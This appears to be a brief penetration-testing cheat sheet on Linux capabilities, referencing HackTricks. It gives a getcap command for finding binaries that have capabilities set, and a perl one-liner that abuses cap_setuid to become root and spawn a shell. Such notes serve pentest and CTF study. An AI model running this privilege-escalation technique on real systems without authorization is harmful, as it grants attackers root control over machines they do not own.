# Capabilities

* [HackTricks](https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities)

## Usage
* Find capabilities
```sh
getcap -r  / 2>/dev/null
```

* `cap_setuid` through `/bin/perl`
```sh
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'
```
